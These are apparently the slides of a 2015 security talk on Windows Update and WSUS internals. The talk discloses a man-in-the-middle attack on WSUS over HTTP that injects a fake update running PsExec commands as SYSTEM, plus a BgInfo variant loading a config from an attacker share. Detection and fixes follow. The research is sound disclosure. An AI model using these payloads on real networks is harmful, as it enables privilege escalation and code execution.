WSUSPect – Compromising the Windows Enterprise via Windows Update

Paul Stone

Alex Chapman
Agenda

- Why look at Windows Update?
- Exploring Windows Update attack surface
- Installing drivers via Windows Update
- Exploring WSUS
- Compromising WSUS deployments
- Fixes
Who are We

- Context Information Security
- Paul Stone @pdjstone
- Alex Chapman @noxrnet
Why look at Windows Update?

- Find out why it’s so damn slow
Why look at Windows Update?

- Updates can often be installed by non-privileged users
  - Potential for Elevation-of-Privilege vulnerabilities
- Increases (and decreases) Windows attack surface
  - Updates are necessary to patch security flaws
  - Fetching and running code over the network tricky to do securely
- Non-Microsoft code available via Windows Update
  - Many 3rd party hardware drivers available via Windows Update
  - Kernel drivers
  - Privileged services and other code
- Because it’s so dull few people have look at it before
Overview of Windows Update

- **Windows Update Service**
- Runs wuauclt.exe
- Registry keys control various details
  - Update server, update frequency, elevate non-admins etc.
- Talks to WU Servers via HTTPS / SOAP XML web service
- Keeps a local database of installed / available updates
  - C:\Windows\SoftwareDistribution\DataStore\DataStore.edb
- Updates are downloaded and unpacked to:
  - C:\Windows\SoftwareDistribution\Download
- Logs are kept, helpful for debugging:
  - C:\Windows\WindowsUpdate.log

05/08/2015
What types of update are available?

Microsoft Update Classifications:
- Critical Updates
- Security Updates
- Definition Updates
- Updates
- Drivers
- Update Rollups
- Service Packs
What types of update are available?

Microsoft Update Classifications:

- Critical Updates
- Security Updates
- Definition Updates
- Updates
- Drivers
- Update Rollups
- Service Packs
Hardware Drivers

- Default Windows behaviour is to download and install drivers for new devices.
3rd Party Software

- Hardware vendors can submit drivers to be distributed via WU
- Drivers must be signed, though not necessarily by Microsoft

“Your company's quality assurance processes are responsible for testing driver functionality during product development. When the driver is complete, you can verify that the driver is compatible with Windows and submit it to the Windows Certification Program for certification or digital signature. Any signed drivers may be distributed on Windows Update, regardless of whether the digital signature is obtained through certification, or through unclassified or “Other Device” testing.”

- Driver Signing Guidelines for ISVs
Driver Installation Process

- Device plugged in
- PnP detects new device, adds it to Windows’ device tree
- Driver may be recognised (e.g. generic HID device) or not
- Windows Update Service sends complete device tree to WU Server
- WU Server responds with list of applicable updates (if any)
- WU Service downloads and installs driver update(s)
Driver Installation Process
Possible Attack Vector

- Give someone a malicious USB device
- Spoofs ID of a particular USB device
- Triggers download install of driver from Windows Update
- ???

- Need to investigate available USB drivers
How do we find all USB drivers on WU?

- Buy many USB devices, see if they have driver on WU
  - Many don’t have drivers on WU
  - Too expensive
How do we find all USB drivers on WU?

- Use programmable hardware to enumerate all possible USB device IDs
  - Facedancer
  - Beaglebone (using Linux GadgetFS)
  - Too slow for testing 1000’s of hardware IDs
How do we find all USB drivers on WU?

- Search Windows Update?
- But no search interface inside Windows
- Can only check for updates that apply to your current OS / hardware

- WSUS local database has some drivers but not many
Microsoft Update Catalog

- [http://catalog.update.microsoft.com](http://catalog.update.microsoft.com)
- Requires IE 6 or above
- Requires an ActiveX control
- Apparently untouched since 2001
- But contains updates for all Windows versions from XP / 2000 onwards
Microsoft Update Catalog

<table>
<thead>
<tr>
<th>Title</th>
<th>Products</th>
<th>Classification</th>
<th>Last Updated</th>
<th>Version</th>
<th>Size</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows Messenger Audio Update</td>
<td>Windows XP</td>
<td>Updates</td>
<td>5/15/2004</td>
<td>n/a</td>
<td>1.1 MB</td>
<td>Add</td>
</tr>
<tr>
<td>Windows Live Essentials</td>
<td>Windows Live</td>
<td>Feature Packs</td>
<td>4/5/2012</td>
<td>n/a</td>
<td>1.1 MB</td>
<td>Add</td>
</tr>
<tr>
<td>Windows Live Messenger</td>
<td>Messenger Installation and Upgrades</td>
<td>Feature Packs</td>
<td>4/5/2012</td>
<td>n/a</td>
<td>575.8 MB</td>
<td>Add</td>
</tr>
<tr>
<td>Multi-language Feature for Windows XP Spanish Catalog Interface Pack</td>
<td>Windows XP</td>
<td>Feature Packs</td>
<td>11/12/2004</td>
<td>n/a</td>
<td>2.9 MB</td>
<td>Add</td>
</tr>
<tr>
<td>Update for Windows XP (KB961503)</td>
<td>Windows XP</td>
<td>Critical Updates</td>
<td>4/27/2009</td>
<td>n/a</td>
<td>560 KB</td>
<td>Add</td>
</tr>
<tr>
<td>Security Update for Windows XP (KB946648)</td>
<td>Windows XP</td>
<td>Security Updates</td>
<td>8/11/2008</td>
<td>n/a</td>
<td>516 KB</td>
<td>Add</td>
</tr>
<tr>
<td>Security Update for Windows Messenger (KB887472)</td>
<td>Windows XP</td>
<td>Security Updates</td>
<td>4/12/2005</td>
<td>n/a</td>
<td>1.1 MB</td>
<td>Add</td>
</tr>
<tr>
<td>Security Update for Windows Messenger (KB887472)</td>
<td>Windows XP</td>
<td>Security Updates</td>
<td>4/12/2005</td>
<td>n/a</td>
<td>1.0 MB</td>
<td>Add</td>
</tr>
</tbody>
</table>
Microsoft Update Catalog

- Can search based on USB Vendor ID (VID) and Product ID (PID)
  - ... or just search on VID e.g. USB\VID_1234
The Plan

- Get a list of USB Vendor IDs
- Scrape Windows Update Catalog
  - find every USB driver for every Vendor ID
  - Make a database of driver details
- Download every driver for Windows 7 onwards
- ???
## Scraping Results (~April 2015)

<table>
<thead>
<tr>
<th>usb_vid</th>
<th>filter</th>
<th>title</th>
<th>guid</th>
<th>date</th>
<th>version</th>
<th>products</th>
<th>wmd_load</th>
<th>revision</th>
<th>download_url</th>
<th>download_digest</th>
</tr>
</thead>
<tbody>
<tr>
<td>06d</td>
<td>Hauppauge Computer Works</td>
<td>bb03d5c-0907-4159-9d74-b7a9653b053</td>
<td></td>
<td>2008-07-02</td>
<td>1.85.256</td>
<td>Windows 7, Windows 8</td>
<td></td>
<td>298138</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06d</td>
<td>Hauppauge Computer Works</td>
<td>bb03d5c-0907-4159-9d74-b7a9653b053</td>
<td></td>
<td>2008-07-02</td>
<td>1.85.256</td>
<td>Windows 7, Windows 8</td>
<td></td>
<td>298138</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>MediaTek, Inc. - WLAN</td>
<td>51a7e-8e9e-4869-8815-56d1e0e830e</td>
<td></td>
<td>2010-01-04</td>
<td>5.1.13.0</td>
<td>Windows 8</td>
<td></td>
<td>1130713</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>MediaTek, Inc. - WLAN</td>
<td>51a7e-8e9e-4869-8815-56d1e0e830e</td>
<td></td>
<td>2010-01-04</td>
<td>5.1.13.0</td>
<td>Windows 8</td>
<td></td>
<td>965289</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>a5f8574-5e51-4652-92be-44400812740</td>
<td></td>
<td>2010-06-13</td>
<td>6.1372.4.0</td>
<td>Windows 7</td>
<td></td>
<td>587441</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>a5f8574-5e51-4652-92be-44400812740</td>
<td></td>
<td>2010-06-13</td>
<td>6.1372.4.0</td>
<td>Windows 7</td>
<td></td>
<td>587441</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Belkin Corporation - Network</td>
<td>49b3a01-4fb0-4b8d-80ee-30603a94d49</td>
<td></td>
<td>2009-10-26</td>
<td>6.13710</td>
<td>Windows 7</td>
<td></td>
<td>572211</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Belkin Corporation - Network</td>
<td>49b3a01-4fb0-4b8d-80ee-30603a94d49</td>
<td></td>
<td>2009-10-26</td>
<td>6.13710</td>
<td>Windows 7</td>
<td></td>
<td>650590</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>d6f5e7e-9141-47d1-a894-72906b7f7e9</td>
<td></td>
<td>2009-10-26</td>
<td>6.13710</td>
<td>Windows 7</td>
<td></td>
<td>577593</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Belkin Corporation - Network</td>
<td>3c0e20a-6337-4858-7e7a-7905c5cb759f</td>
<td></td>
<td>2009-10-26</td>
<td>6.13710</td>
<td>Windows 7</td>
<td></td>
<td>620583</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>0788e2e-988a-415d-92f3-39f8c829532</td>
<td></td>
<td>2009-05-25</td>
<td>3.0.1.0</td>
<td>Windows 7 Client</td>
<td></td>
<td>328074</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>0788e2e-988a-415d-92f3-39f8c829532</td>
<td></td>
<td>2009-05-25</td>
<td>3.0.1.0</td>
<td>Windows 7 Client</td>
<td></td>
<td>328074</td>
<td></td>
<td></td>
</tr>
<tr>
<td>06b</td>
<td>Realtek Semiconductor Corp.</td>
<td>0788e2e-988a-415d-92f3-39f8c829532</td>
<td></td>
<td>2009-05-25</td>
<td>3.0.1.0</td>
<td>Windows 7 Client</td>
<td></td>
<td>328074</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Realtek Semiconductor Corp.</td>
<td>15708e0-fcb6-4127-8412-63526a40d8e</td>
<td></td>
<td>2007-11-19</td>
<td>6.13891</td>
<td>Windows 7, Windows 8</td>
<td></td>
<td>384528</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Realtek Semiconductor Corp.</td>
<td>15708e0-fcb6-4127-8412-63526a40d8e</td>
<td></td>
<td>2007-11-19</td>
<td>6.13891</td>
<td>Windows 7, Windows 8</td>
<td></td>
<td>384528</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Trust - Streaming Media and</td>
<td>2e8d5c2-7b84-4167-9649-5f13287812</td>
<td></td>
<td>2009-07-04</td>
<td>7.3.5004.0</td>
<td>Windows 7, Windows 8</td>
<td></td>
<td>4978952</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Broadcom Corporation driver</td>
<td>87e5b87-47a4-4686-8b23-9e7d57072c6f</td>
<td></td>
<td>2013-08-30</td>
<td>12.0.7820</td>
<td>Windows 8 Drivers</td>
<td></td>
<td>1148516</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Broadcom Corporation driver</td>
<td>87e5b87-47a4-4686-8b23-9e7d57072c6f</td>
<td></td>
<td>2013-08-30</td>
<td>12.0.7820</td>
<td>Windows 8 Drivers</td>
<td></td>
<td>1148516</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
<tr>
<td>145f</td>
<td>Qualcomm Atheros Communications</td>
<td>6510e93d-361f-4c6d-99c0-5398061c412</td>
<td></td>
<td>2013-07-31</td>
<td>8.0.1.1244</td>
<td>Windows 7, Windows 8, Windows 10</td>
<td></td>
<td>1223840</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Scraping Results (~April 2015)

- 425 unique USB Vendor IDs
- 25,125 unique driver update GUIDs
- 4,687 unique download URLs / download hashes

- Many duplicates
- Many obsolete driver versions

- Downloaded 2,284 drivers
- ~5 GB worth of .cab files
- Range of sizes from >100MB to a few KB
Scraping Results (~April 2015)

- Lots of standard devices
  - Printers
  - Memory Cards
  - USB Ethernet
  - Bluetooth
- Lots of weird and wonderful sounding hardware
  - Infineon XC800 USB Debug
  - STMicroelectronics - Intel(R) Sensor Solution Blue Box DFU
  - DisplayLink Corp. Display Adapter (03B2)
- Many funky drivers were really just USB to serial drivers
- Some ‘drivers’ just used built-in drivers, configured some settings

05/08/2015
Contents of a Windows driver .cab file

- .cat – signature and hashes of files
- .inf – list of supported hardware, installation directives
- .sys files – kernel drivers
- .dlls, .exes, help files…
- Stuff the developer forgot to remove
  - .pdb files
- 32-bit and 64-bit versions of everything
The Plan

- Get a list of USB Vendor IDs
- Scrape Windows Update Catalog
  - find every USB driver for every Vendor ID
  - Make a database of driver details
- Download every driver for Windows 7 onwards

**Install all the drivers**
Automatically Installing Drivers

- Use Windows Device Console - DevCon.exe
- Found in Windows Driver Development Kit (DDK)
- Can run standalone

> devcon install cabdir\driver.inf USB\VID_1234&PID_5678

Device node created. Install is complete when drivers are installed...

Updating drivers for USB\VID_04F9&PID_02FA&MI_02 from cabdir\brpoi13a.inf.

Drivers installed successfully.

> _

05/08/2015
Automatically Installing Drivers

- Used VirtualBox and VBoxManage to automate it via cmdline
- Resume VM snapshot
- Launch script via PsExec from host
- Run SysInternals’ ProcMon to capture activity
- Run devcon
- Record details before and after driver install
  - Services
  - Processes
  - Directory listings – Program Files, Windows, System32
  - Take screenshot
  - etc..
- Repeat for every driver
Automated Driver Installation

- Using DevCon doesn’t fully simulate plugging in a USB device
- Must be run as high-priv user
- What happens when low-priv users plug in USB devices?
- Can we simulate this without hardware?
Window Device Simulation Framework

- Part of Windows DDK
- Allows full software simulation of USB devices
- Discontinued in DDK version 8.0
- Last available version in 7.1
- Documentation is hard to find on Google
- Comes with COM-scriptable pre-compiled example devices:
  - Generic HID device
  - USB Audio device
  - Keyboard device
Scripting DSF Sample Devices

- Use the ISoftUSBDevice interface to set Vendor, Product IDs
- Can automate plugging in, removing a device
- Use VirtualBox USB filters to route device to VM
- Automatically trigger driver install process via script
Driver Installation - Results

- Of the 2,284 downloaded USB drivers:
  - 1,150 installed successfully
  - 533 installed new kernel drivers to the system
  - 58 installed auto-run programs
  - 12 installed services running as high-priv users
Driver Attacks in Enterprise Setting

- In enterprise/corporate setting, WSUS is generally in use
- Some device drivers are available through WSUS, but they must generally be approved by admin
- Plugging in a random USB device often won’t do much
- USB whitelisting may be in use

- Let’s look at WSUS again
WSUS – Windows Software Update Services

- Pretty much identical to Windows Update
- Similar SOAP XML web service
- Updates fetched from local server instead of Microsoft server
- Updates must be approved by administrator before being pushed out
WSUS Security

- Windows Server 2012 WSUS Setup Wizard
- SSL not enabled by default
- Microsoft does recommend using SSL
WSUS Security

“WSUS uses SSL for metadata only, not for update files. This is the same way that Microsoft Update distributes updates. Microsoft reduces the risk of sending update files over an unencrypted channel by signing each update. In addition, a hash is computed and sent together with the metadata for each update. When an update is downloaded, WSUS checks the digital signature and hash. If the update has been changed, it is not installed.”


- All updates must be signed by Microsoft
WSUS Attacks

- If SSL not used we could MITM update traffic
- Updates are signed so cannot be modified

- We could:
  - Prevent updates being applied?
  - Force drivers to be downloaded and installed?
  - Remove security patches then attack system?

- Let’s look at the web service
Proxying WSUS

- If HTTPS in use, must put proxy CA cert into Machine cert store
- Windows Update respects user proxy settings
- May need to restart Windows Update service after configuring proxy

- Main endpoint is http://wsus-server/ClientWebService/client.asmx

- SOAP web service is partially documented at:
WSUS SOAP Service - Setup

Client

- GetConfig
- GetAuthorizationCookie
- GetCookie
- RegisterComputer

GetConfigResponse
GetAuthorizationCookieResponse
GetCookieResponse
RegisterComputerResponse

SimpleAuth.asmx
WSUS SOAP Service – Checking for Updates

![Diagram showing WSUS SOAP Service process]

- **SyncUpdates** (list of currently installed updates)
- **SyncUpdatesResult** (list of new updates)
- **SyncUpdates** (list of installed hardware and drivers)
- **SyncUpdatesResult** (list of new drivers)
- **GetExtendedUpdateInfo**
- **GetExtendedUpdateInfoResult**

05/08/2015
SyncUpdates Request

<s:Envelope><s:Body>
<SyncUpdates>
  <cookie>...</cookie>
  <parameters>
    <ExpressQuery>false</ExpressQuery>
    <InstalledNonLeafUpdateIDs>
      <int>15</int>
      <int>56</int>
      ...
      <int>41072</int>
    </InstalledNonLeafUpdateIDs>
    <OtherCachedUpdateIDs>
      <int>16</int>
      <int>17</int>
      ...
      <int>48260</int>
    </OtherCachedUpdateIDs>
    <SkipSoftwareSync>false</SkipSoftwareSync>
    <NeedTwoGroupOutOfScopeUpdates>false</NeedTwoGroupOutOfScopeUpdates>
    <AlsoPerformRegularSync>true</AlsoPerformRegularSync>
    <ComputerSpec/>
  </parameters>
</SyncUpdates>
</s:Body></s:Envelope>
SyncUpdates Response

```xml
<s:Envelope>
  <s:Body>
    <SyncUpdatesResponse>
      <SyncUpdatesResult>
        <NewUpdates>
          <UpdateInfo>
            <ID>11974101</ID>
            <Deployment>
              <ID>17356584</ID>
              <Action>Bundle</Action>
              <IsAssigned>true</IsAssigned>
              <LastChangeTime>2014-04-22</LastChangeTime>
              <AutoSelect>0</AutoSelect>
              <AutoDownload>0</AutoDownload>
              <SupersedenceBehavior>0</SupersedenceBehavior>
            </Deployment>
            <IsLeaf>true</IsLeaf>
            <Xml>&lt;UpdateIdentity ... /ApplicabilityRules&gt;</Xml>
          </UpdateInfo>
          ... 
        </NewUpdates>
        <Truncated>false</Truncated>
        <NewCookie>...</NewCookie>
        <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
      </SyncUpdatesResult>
    </SyncUpdatesResponse>
  </s:Body>
</s:Envelope>
```

- 0 or more UpdateInfo tags
- Update Metadata, encoded XML inside Xml tag
SyncUpdates Response – Update Metadata

```xml
<UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065" RevisionNumber="206" />
<Properties UpdateType="Software" />
<Relationships>
  <Prerequisites>
    <UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" />
    <UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" />
  </Prerequisites>
</Relationships>
<ApplicabilityRules>
  <IsInstalled>
    <FileVersion Version="6.1.7601.22045" Comparison="GreaterThanOrEqualTo" Path="\conhost.exe" Csid="37" />
  </IsInstalled>
  <IsInstallable>
    <Not>
      <CbsPackageInstalledByIdentity PackageIdentity="InternetExplorer-Package~11.2.9600.16428" />
    </Not>
  </IsInstallable>
</ApplicabilityRules>
```

- Must have these installed
- Check file versions, registry keys etc...
GetExtendedUpdateInfo Request

```xml
<soap:Envelope><soap:Body>
 <GetExtendedUpdateInfo>
  <cookie>...</cookie>
  <revisionIDs>
   <int>13160722</int>
   <int>16753458</int>
   <int>17212691</int>
   <int>17212692</int>
  </revisionIDs>
  <infoTypes>
   <XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>
   <XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>
   <XmlUpdateFragmentType>Eula</XmlUpdateFragmentType>
  </infoTypes>
  <locales>
   <string>en-US</string>
   <string>en</string>
  </locales>
 </GetExtendedUpdateInfo>
</soap:Body></soap:Envelope>
```

Need details on these updates
GetExtendedUpdateInfo Response

```xml
<soap:Envelope>
  <soap:Body>
    <GetExtendedUpdateInfoResponse>
      <GetExtendedUpdateInfoResult>
        <Updates>
          <Update>
            <ID>66719</ID>
            <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;&lt;/Xml>
          </Update>
          <Update>
            <ID>67749</ID>
            <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;&lt;/Xml>
          </Update>
        </Updates>
        <FileLocations>
          <FileLocation>
            <FileDigest>tXa3bCw4XzkLd/Fyfs2ATZcYgh8=</FileDigest>
          </FileLocation>
          <FileLocation>
            <FileDigest>OzTUyOLCmj1K08U2VJNHw3rfpzQ=</FileDigest>
            <Url>http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab</Url>
          </FileLocation>
        </FileLocations>
      </GetExtendedUpdateInfoResult>
    </GetExtendedUpdateInfoResponse>
  </soap:Body>
</soap:Envelope>
```
GetExtendedUpdateInfo Extended Metadata

```
<ExtendedProperties
  DefaultPropertiesLanguage="en"
  MaxDownloadSize="9510901" MinDownloadSize="9510901">
  <InstallationBehavior
    Impact="RequiresExclusiveHandling"
    RebootBehavior="CanRequestReboot" />
</ExtendedProperties>

<Files>
  <File Digest="jPCzjkNiJ2YzP0cEJiQdx/qZa00=" DigestAlgorithm="SHA1"
    FileName="windows6.1-kb2533552-x64.cab"
    Size="9510901" Modified="2011-04-11T17:01:48.68"
    PatchingType="SelfContained" />
  <File Digest="9dJV9mHy3AlJmp851/VzNq6nBRe=" DigestAlgorithm="SHA1"
    FileName="Windows6.1-KB2533552-x64-EXPRESS.cab"
    Size="60633" Modified="2011-04-11T17:01:48.87"
    PatchingType="Express" />
</Files>

<HandlerSpecificData type="cbs:Cbs">
  <CbsData PackageIdentity="" />
</HandlerSpecificData>
```
Update Handlers

- Cbs
- WindowsDriver
- WindowsInstaller
- WindowsPatch
- InfBasedInstallation
- CommandLineInstallation
Update Handlers

- Cbs
- WindowsDriver
- WindowsInstaller
- WindowsPatch
- InfBasedInstallation
- CommandLineInstallation
(CommandLineInstallation)

<ExtendedProperties DefaultPropertiesLanguage="en">
  <MaxDownloadSize>41837240</MaxDownloadSize>
  <MinDownloadSize>0</MinDownloadSize>
  <InstallationBehavior RebootBehavior="CanRequestReboot"/>
</ExtendedProperties>

<Files>
  <File Digest="sJRqIVCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1"
    FileName="Windows-KB890830-x64-V5.22.exe"
    Size="41837240"
    Modified="2015-02-27T15:54:52Z">
    <AdditionalDigest Algorithm="SHA256">robj...WY0=</AdditionalDigest>
  </File>
</Files>

<HandlerSpecificData type="cmd:CommandLineInstallation">
  <InstallCommand Arguments="/Q /W"
    Program="Windows-KB890830-x64-V5.22.exe"
    RebootByDefault="false"
    DefaultResult="Succeeded">
    <ReturnCode Reboot="true" Result="Succeeded" Code="3010"/>
    <ReturnCode Reboot="false" Result="Failed" Code="1603"/>
    <ReturnCode Reboot="false" Result="Failed" Code="-2147024894"/>
  </InstallCommand></HandlerSpecificData>
CommandLineInstallation

<HandlerSpecificData type="cmd:CommandLineInstallation">
  <InstallCommand Arguments="/Q /W"
      Program="Windows-KB890830-x64-V5.22.exe"
      RebootByDefault="false" DefaultResult="Succeeded">
    <ReturnCode Reboot="true" Result="Succeeded" Code="3010" />
    <ReturnCode Reboot="false" Result="Failed" Code="1603" />
    <ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
  </InstallCommand>
</HandlerSpecificData>
WSUS Attacks - CommandLineInstallation

- We can download and run any Microsoft-signed exe
- We can provide arbitrary command-line arguments
- Updates get installed as SYSTEM

- Lets download and run cmd.exe!
- Most Windows binaries not signed 😞
- But SysInternals tools are!
- Let’s use PsExec!
Injecting a fake update

Client

- SyncUpdates
- SyncUpdatesResult + fake update
- GetExtendedUpdateInfo
- Fake GetExtendedUpdateInfoResult
- Request PsExec

MITM attacker

- PsExec.exe

WSUS Server

SyncUpdatesResult
Injecting a fake update

  <MaxDownloadSize="396480" MinDownloadSize="0"/>
  <InstallationBehavior RebootBehavior="CanRequestReboot"/>
</ExtendedProperties>

<Files>
  <File Digest="tcYtee2k9+S2CpyqVzaj/cLxsn4=" DigestAlgorithm="SHA1"
       FileName="PsExec.exe" Size="396480" Modified="2015-02-27T15:54:52Z">
    <AdditionalDigest Algorithm="SHA256">Ow...q5U=</AdditionalDigest>
  </File>
</Files>

<HandlerSpecificData type="cmd:CommandLineInstallation">
  <InstallCommand>
    <Program="PsExec.exe"
    <Arguments="/accepteula cmd /c whoami &gt; c:\whoami.txt"
    <RebootByDefault="false" DefaultResult="Succeeded">
      <ReturnCode Reboot="false" Result="Succeeded" Code="0"/>
      <ReturnCode Reboot="false" Result="Failed" Code="-1"/>
    </RebootByDefault>
  </InstallCommand>
</HandlerSpecificData>
Select updates to install

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Paul's fake update</td>
<td>827 KB</td>
</tr>
<tr>
<td>17999991</td>
<td></td>
</tr>
</tbody>
</table>

**Total selected:** 1 important update (827 KB)

- **Paul's fake update 17999991**
  - Do malicious stuff on your computer!
  - **Published:** 15/04/2015
  - **Update is ready to download**
  - More information
  - Support information

Install: ![Install button](image)
Cancel: ![Cancel button](image)
WSUS Attack Demo – Scenario 1

- Client PC configured to use WSUS over HTTP
- User can modify proxy settings
- Malicious low-priv user
PsExec Problems

- Sophos detects it as a ‘Hacking Tool’
- May get blocked on enterprise systems
- What else could we use?

PsExec is a tool to execute programs on remote systems that could be used for malicious purposes.
SysInternals BgInfo

- Frequently used on enterprise machines
- Can run VBScript to populate fields
- Can load config file from network share

SysInternals BgInfo

bginfo \attacker\share\config.bgi /nolicprompt /timer:0
WSUS Attack Demo – Scenario 2

- Attacker has access to corporate subnet
- Attacker has no domain creds
- Attacker can perform ARP spoofing / WPAD injection
Check for WSUS HTTP misconfiguration

- Check registry on WSUS client machines
  - HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
    - WUServer = http://wsus-server.local:8530

- HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
  - UseWUServer = 1 – Computer will use WUServer setting

- Or check Group Policy
  - Windows Components > Windows Update > Specify intranet Microsoft update service location

05/08/2015
Fix WSUS HTTP Misconfiguration

- RTFM – Microsoft recommends, but doesn’t enforce HTTPS
  - [https://technet.microsoft.com/library/hh852346.aspx#bkmk_3_5_ConfigSSL](https://technet.microsoft.com/library/hh852346.aspx#bkmk_3_5_ConfigSSL)

3.5. Secure WSUS with the Secure Sockets Layer Protocol

You can use the Secure Sockets Layer (SSL) protocol to help secure the WSUS deployment. WSUS uses SSL to authenticate client computers and downstream WSUS servers to the WSUS server. WSUS also uses SSL to encrypt update metadata.

Important

Clients and downstream servers that are configured to use Transport Layer Security (TLS) or HTTPS must also be configured to use a fully qualified domain name (FQDN) for their upstream WSUS server.

WSUS uses SSL for metadata only, not for update files. This is the same way that Microsoft Update distributes updates. Microsoft reduces the risk of sending update files over an unencrypted channel by signing each update. In addition, a hash is computed and sent together with the metadata for each update. When an update is downloaded, WSUS checks the digital signature and hash. If the update has been changed, it is not installed.
Thanks

- Jan Tudor
- Ruben Boonen (@FuzzySec)
- Andy Monaghan
- Context
So why IS Windows Update so slow?

No idea, sorry! ˘\_(ツ)_/˘
Any Questions?

- Read the whitepaper for more details: http://ctx.is/WSUSpect

- Twitter
  - @pdjstone
  - @noxrnet